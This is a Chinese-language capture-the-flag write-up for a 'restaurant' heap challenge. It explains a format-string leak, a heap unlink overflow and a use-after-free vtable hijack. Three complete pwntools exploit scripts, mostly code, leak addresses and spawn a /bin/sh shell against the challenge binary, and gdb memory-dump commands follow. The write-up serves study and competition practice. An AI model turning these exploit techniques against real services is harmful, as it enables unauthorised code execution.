和线上赛的题目差别不大,但是需要自己去泄露堆的地址。除了线上赛的溢出之外,还多了一个Use After Free的洞。我写了两种利用方法。
线上赛writeup见:http://www.cnblogs.com/wangaohui/p/5211672.html
信息泄露可以通过格式化字符串的洞来完成。在entree的第二个和soup的第三个存在格式化字符串漏洞。
第一种利用方法和线上赛相似,只不过需要信息泄露。在比赛中,不知道什么鬼没有权限拷贝libc,所以用的是dynelf进行内存泄漏。成功概率1/9。这个exp在决赛的时候,写出来的有点晚,就打了十几次。
1 from pwn import * 2 import time 3 context.log_level = 'debug' 4 #by wangaohui 5 #s= remote('172.16.5.10',9002,timeout=60) 6 s= remote('127.0.0.1',10001,timeout=60) 7 time.sleep(1) 8 print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0]) 9 #raw_input('go!') 10 s.recvuntil('Please enter your name: ') 11 s.sendline('/bin/sh;') 12 s.recvuntil('Do you have any taboos?') 13 s.sendline('/bin/sh;') 14 s.recvuntil('Are you from China? (y/n) ') 15 s.sendline('n') 16 s.recvuntil('please enter your country: ') 17 s.sendline('cn') 18 s.recvuntil('How old are you: ') 19 s.sendline('11') 20 21 s.recvuntil('9. Finish your order.') 22 s.sendline('7') 23 s.recvuntil('Your name: ') 24 s.sendline('/bin/sh;') 25 s.recvuntil('Your country: ') 26 s.sendline('/bin/sh;') 27 s.recvuntil('Your taboos: ') 28 s.sendline('/bin/sh;') 29 s.recvuntil('Please enter the credit card password :') 30 s.sendline('zctf1sgood') 31 s.recvuntil('Recharge :') 32 s.sendline(str(0x404b50+2+10-5)) 33 34 s.recvuntil('9. Finish your order.') 35 s.sendline('1') 36 s.recvuntil('Successfully order a staple food, enjoy it!') 37 38 s.recvuntil('9. Finish your order.') 39 s.sendline('2') 40 s.recvuntil('Successfully order an entree, enjoy it!') 41 42 s.recvuntil('9. Finish your order.') 43 s.sendline('8') 44 s.recvuntil('(1,2 or 3 depend on menu): ') 45 s.sendline('2') 46 s.recvuntil('How does this dish look: ') 47 s.sendline('%5$p') 48 s.recvuntil('How does this dish taste: ') 49 s.sendline('xxx') 50 s.recvuntil('Successfully comment.') 51 52 s.recvuntil('9. Finish your order.') 53 s.sendline('4') 54 s.recvuntil('Order 2 :') 55 s.recvuntil('appearance comment: ') 56 leaked = s.recvuntil(' ') 57 heap = int(leaked[2:-1],16) - 0x158 58 print hex(heap) 59 print 'leaked heap is ' + leaked 60 61 s.recvuntil('9. Finish your order.') 62 s.sendline('8') 63 s.recvuntil('(1,2 or 3 depend on menu): ') 64 s.sendline('1') 65 s.recvuntil('How does this dish look: ') 66 s.sendline('xxx') 67 s.recvuntil('How does this dish taste: ') 68 s.sendline('yyy') 69 s.recvuntil('Successfully comment.') 70 71 fakefd = heap - 0x18 72 fakebk = heap - 0x10 73 appcom = 'a'*40 + p64(0x80) + p64(0x90) 74 tastecom = p64(0x81) + p64(fakefd) + p64(fakebk) 75 s.recvuntil('9. Finish your order.') 76 s.sendline('8') 77 s.recvuntil('1,2 or 3 depend on menu): ') 78 s.sendline('1') 79 s.recvuntil('How does this dish look: ') 80 s.sendline(appcom) 81 s.recvuntil('How does this dish taste: ') 82 s.sendline(tastecom) 83 s.recvuntil('Successfully comment.') 84 85 s.recvuntil('9. Finish your order.')#unlink 86 s.sendline('5') 87 s.recvuntil('want to cancel(1,2 or 3 depend on menu): ') 88 s.sendline('2') 89 s.recvuntil('the chef has already started to cook.') 90 91 def infoleak(addr): 92 ppcom = 'xxx' 93 tastecom = p64(addr) 94 s.recvuntil('9. Finish your order.') 95 s.sendline('8') 96 s.recvuntil('make a comment(1,2 or 3 depend on menu): ') 97 s.sendline('1') 98 s.recvuntil('How does this dish look: ') 99 s.sendline(appcom) 100 s.recvuntil('How does this dish taste: ') 101 s.sendline(tastecom) 102 103 s.recvuntil('9. Finish your order.') 104 s.sendline('6') 105 s.recvuntil('Your age: ') 106 strs = s.recvuntil(' ')[:-1] 107 if strs.find('-') != -1: 108 data = (int(strs[1:])^0xffffffff)+1 109 else: 110 data = int(strs) 111 return p32(data) 112 113 d = DynELF(infoleak, elf=ELF('./restaurant1')) 114 systemaddr = d.lookup('system', 'libc') 115 log.info("systemaddr=" + hex(systemaddr)) 116 117 #systemaddr = 0xaaaaaaaaaaaaaaaa 118 appcom = 'xxx' 119 tastecom = 'a'*8 + p64(systemaddr) 120 s.recvuntil('9. Finish your order.') 121 s.sendline('8') 122 s.recvuntil('make a comment(1,2 or 3 depend on menu): ') 123 s.sendline('1') 124 s.recvuntil('How does this dish look: ') 125 s.sendline(appcom) 126 s.recvuntil('How does this dish taste: ') 127 s.sendline(tastecom) 128 129 s.recvuntil('9. Finish your order.') 130 s.sendline('7') 131 s.recvuntil('Your name: ') 132 s.sendline('/bin/sh;') 133 s.recvuntil('Your country: ') 134 s.sendline('/bin/sh;') 135 s.recvuntil('Your taboos: ') 136 s.sendline('/bin/sh;') 137 s.recvuntil('Please enter the credit card password :') 138 s.sendline('zctf1sgood') 139 s.recvuntil('Recharge :') 140 s.sendline(str(0x404b50)) 141 142 s.recvuntil('9. Finish your order.') 143 s.sendline('9') 144 145 s.recvuntil('3.Just so so!') 146 s.sendline('3.Just so so!') 147 s.recvuntil('Thank you for your comment,bye!') 148 s.interactive() 149 s.close()
后来发现,可以用gdb调试,因此和拥有了libc差不多。
1 from pwn import * 2 import time 3 context.log_level = 'debug' 4 #by wangaohui 5 6 #s= remote('172.16.5.10',9002,timeout=60) 7 s= remote('127.0.0.1',10001) 8 time.sleep(2) 9 print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0]) 10 raw_input('go!') 11 s.recvuntil('Please enter your name: ') 12 s.sendline('/bin/sh;') 13 s.recvuntil('Do you have any taboos?') 14 s.sendline('/bin/sh;') 15 s.recvuntil('Are you from China? (y/n) ') 16 s.sendline('n') 17 s.recvuntil('please enter your country: ') 18 s.sendline('cn') 19 s.recvuntil('How old are you: ') 20 s.sendline('11') 21 22 s.recvuntil('9. Finish your order.') 23 s.sendline('7') 24 s.recvuntil('Your name: ') 25 s.sendline('/bin/sh;') 26 s.recvuntil('Your country: ') 27 s.sendline('Your taboos: ') 28 s.sendline('/bin/sh;') 29 s.recvuntil('Please enter the credit card password :') 30 s.sendline('zctf1sgood') 31 s.recvuntil('Recharge :') 32 s.sendline(str(0x404b50+2+10-5)) 33 34 s.recvuntil('9. Finish your order.') 35 s.sendline('1') 36 s.recvuntil('Successfully order a staple food, enjoy it!') 37 38 s.recvuntil('9. Finish your order.') 39 s.sendline('2') 40 s.recvuntil('Successfully order an entree, enjoy it!') 41 42 s.recvuntil('9. Finish your order.') 43 s.sendline('8') 44 s.recvuntil('(1,2 or 3 depend on menu): ') 45 s.sendline('2') 46 s.recvuntil('How does this dish look: ') 47 s.sendline('%5$p') 48 s.recvuntil('How does this dish taste: ') 49 s.sendline('xxx') 50 s.recvuntil('Successfully comment.') 51 52 s.recvuntil('9. Finish your order.') 53 s.sendline('4') 54 s.recvuntil('Order 2 :') 55 s.recvuntil('appearance comment: ') 56 leaked = s.recvuntil(' ') 57 heap = int(leaked[2:-1],16) - 0x158 58 print hex(heap) 59 print 'leaked heap is ' + leaked 60 61 s.recvuntil('9. Finish your order.') 62 s.sendline('8') 63 s.recvuntil('(1,2 or 3 depend on menu): ') 64 s.sendline('1') 65 s.recvuntil('How does this dish look: ') 66 s.sendline('xxx') 67 s.recvuntil('How does this dish taste: ') 68 s.sendline('yyy') 69 s.recvuntil('Successfully comment.') 70 71 fakefd = heap - 0x18 72 fakebk = heap - 0x10 73 appcom = 'a'*40 + p64(0x80) + p64(0x90) 74 tastecom = p64(0x81) + p64(fakefd) + p64(fakebk) 75 s.recvuntil('9. Finish your order.') 76 s.sendline('8') 77 s.recvuntil('1,2 or 3 depend on menu): ') 78 s.sendline('1') 79 s.recvuntil('How does this dish look: ') 80 s.sendline(appcom) 81 s.recvuntil('How does this dish taste: ') 82 s.sendline(tastecom) 83 s.recvuntil('Successfully comment.') 84 85 s.recvuntil('9. Finish your order.')#unlink 86 s.sendline('5') 87 s.recvuntil('want to cancel(1,2 or 3 depend on menu): ') 88 s.sendline('2') 89 s.recvuntil('the chef has already started to cook.') 90 91 appcom = 'xxx' 92 tastecom = p64(0x6070B8)#atoi's got 93 s.recvuntil('9. Finish your order.') 94 s.sendline('8') 95 s.recvuntil('make a comment(1,2 or 3 depend on menu): ') 96 s.sendline('1') 97 s.recvuntil('How does this dish look: ') 98 s.sendline(appcom) 99 s.recvuntil('How does this dish taste: ') 100 s.sendline(tastecom) 101 102 s.recvuntil('9. Finish your order.') 103 s.sendline('6') 104 s.recvuntil('Your age: ') 105 atoistr = s.recvuntil(' ')[:-1] 106 if atoistr.find('-') != -1: 107 atoiaddr1 = (int(atoistr[1:])^0xffffffff)+1 108 print 'atoiaddr1 is: %x' % atoiaddr1 109 110 appcom = 'xxx' 111 tastecom = p64(0x6070Bc)#atoi's got 112 s.recvuntil('9. Finish your order.') 113 s.sendline('8') 114 s.recvuntil('make a comment(1,2 or 3 depend on menu): ') 115 s.sendline('1') 116 s.recvuntil('How does this dish look: ') 117 s.sendline(appcom) 118 s.recvuntil('How does this dish taste: ') 119 s.sendline(tastecom) 120 121 s.recvuntil('9. Finish your order.') 122 s.sendline('6') 123 s.recvuntil('Your age: ') 124 atoistr = s.recvuntil(' ')[:-1] 125 atoiaddr2 = int(atoistr) 126 print 'atoiaddr2 is: %x' % atoiaddr2 127 atoiaddr = (atoiaddr2<<32) + atoiaddr1 128 print 'atoiaddr is: %x' % atoiaddr 129 130 systemaddr = atoiaddr + 0xc6f0 131 appcom = 'xxx' 132 tastecom = 'a'*8 + p64(systemaddr) 133 s.recvuntil('9. Finish your order.') 134 s.sendline('8') 135 s.recvuntil('make a comment(1,2 or 3 depend on menu): ') 136 s.sendline('1') 137 s.recvuntil('How does this dish look: ') 138 s.sendline(appcom) 139 s.recvuntil('How does this dish taste: ') 140 s.sendline(tastecom) 141 142 s.recvuntil('9. Finish your order.') 143 s.sendline('9') 144 145 s.recvuntil('3.Just so so!') 146 s.sendline('3.Just so so!') 147 s.recvuntil('Thank you for your comment,bye!') 148 s.interactive() 149 150 s.close()
第二种利用方法,用的是Use After Free,当申请到entree的第一种时,就是买到了special,这个时候有两个指针指向了对应的内存堆块,但是取消订的菜的时候(就是free的时候),其中有一个指针并没有置为Null。所以,后面可以通过change account重新申请到free掉的那块内存,而且内容完全控制,完全可以伪造虚表指针,指向伪造的虚表,进而利用。
申请到已经free的内存块的代码:
在最后,通过伪造虚表和虚表指针执行到system的时候,发现参数传递不能控制为'/bin/sh;'。决定利用Libc的gadgets来进行利用。
因此,在没有libc的情况下,把Libc给dump出来,找的gadets。如下:
Mov rdi, rdx,将rdi指向了/bin/sh;而rax指向的是堆的内存,我们可以控制,因此可以将system的地址放到rax+0x20处,这样的话就执行了system("/bin/sh;")。成功概率为1/9。
1 from pwn import * 2 import time 3 #context.log_level = 'debug' 4 #by wangaohui 5 #s= remote('172.16.5.10',9002,timeout=60) 6 s= remote('127.0.0.1',10001,timeout=60) 7 time.sleep(1) 8 print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0]) 9 raw_input('go!') 10 11 s.recvuntil('Please enter your name: ') 12 s.sendline('/bin/sh;') 13 s.recvuntil('Do you have any taboos?') 14 s.sendline('/bin/sh;') 15 s.recvuntil('Are you from China? (y/n) ') 16 s.sendline('n') 17 s.recvuntil('please enter your country: ') 18 s.sendline('/bin/sh;') 19 s.recvuntil('How old are you: ') 20 s.sendline('11') 21 22 s.recvuntil('9. Finish your order.') 23 s.sendline('7') 24 s.recvuntil('Your name: ') 25 s.sendline('/bin/sh;') 26 s.recvuntil('Your country: ') 27 s.sendline('/bin/sh;') 28 s.recvuntil('Your taboos: ') 29 s.sendline('/bin/sh;') 30 s.recvuntil('Please enter the credit card password :') 31 s.sendline('zctf1sgood') 32 s.recvuntil('Recharge :') 33 s.sendline(str(10000)) 34 35 s.recvuntil('9. Finish your order.') 36 s.sendline('3') 37 s.recvuntil('Successfully order a soup, enjoy it!') 38 39 s.recvuntil('9. Finish your order.') 40 s.sendline('8') 41 s.recvuntil('(1,2 or 3 depend on menu): ') 42 s.sendline('3') 43 s.recvuntil('How does this dish look: ') 44 s.sendline('%7$p %41$p') 45 s.recvuntil('How does this dish taste: ') 46 s.sendline('xxx') 47 s.recvuntil('Successfully comment.') 48 49 s.recvuntil('9. Finish your order.') 50 s.sendline('4') 51 s.recvuntil('Order 3 :') 52 s.recvuntil('appearance comment: ') 53 leaked = s.recvuntil(' ') 54 heapstr = leaked.split(' ')[0] 55 heap = int(heapstr[2:],16) 56 print 'leaked heap is ' + heapstr 57 libc_start_mainstr = leaked.split(' ')[1] 58 libc_start_main = int(libc_start_mainstr[2:-1],16) - 0xf5 59 print 'leaked libc_start_main is ' + hex(libc_start_main) 60 magic = libc_start_main + 0x1f92b 61 print 'magic is ' + hex(magic) 62 63 s.recvuntil('9. Finish your order.') 64 s.sendline('8') 65 s.recvuntil('(1,2 or 3 depend on menu): ') 66 s.sendline('3') 67 s.recvuntil('How does this dish look: ') 68 s.sendline(p64(magic)*3) #virtual table 69 s.recvuntil('How does this dish taste: ') 70 s.sendline('xxx') 71 s.recvuntil('Successfully comment.') 72 73 s.recvuntil('9. Finish your order.') 74 s.sendline('2') 75 s.recvuntil('Successfully order an entree, enjoy it!') 76 77 s.recvuntil('9. Finish your order.') 78 s.sendline('5') 79 s.recvuntil('want to cancel(1,2 or 3 depend on menu): ') 80 s.sendline('2') 81 s.recvuntil('the chef has already started to cook.') 82 83 s.recvuntil('9. Finish your order.') #uaf 84 s.sendline('7') 85 s.recvuntil('Your name: ') 86 s.sendline('/bin/sh;') 87 s.recvuntil('Your country: ') 88 s.sendline('/bin/sh;') 89 s.recvuntil('Your taboos: ') 90 s.sendline(p64(heap+0x60) + 'a'*0x48) 91 s.recvuntil('Please enter the credit card password :') 92 s.sendline('zctf1sgood') 93 s.recvuntil('Recharge :') 94 s.sendline(str(10000)) 95 96 s.recvuntil('9. Finish your order.') 97 s.sendline('4') 98 s.interactive() 99 s.close()
后来,longlong师兄告诉我,libc里有magic system address,可以直接用来拿shell,就不用这么麻烦了,不过暂时没有写。
附两条用到的命令:
searchmem "x48x8bx10xe8" 0x7ffff7726000 0x7ffff78c8000
dump memory libc.so.dump 0x7ffff7726000 0x7ffff78c8000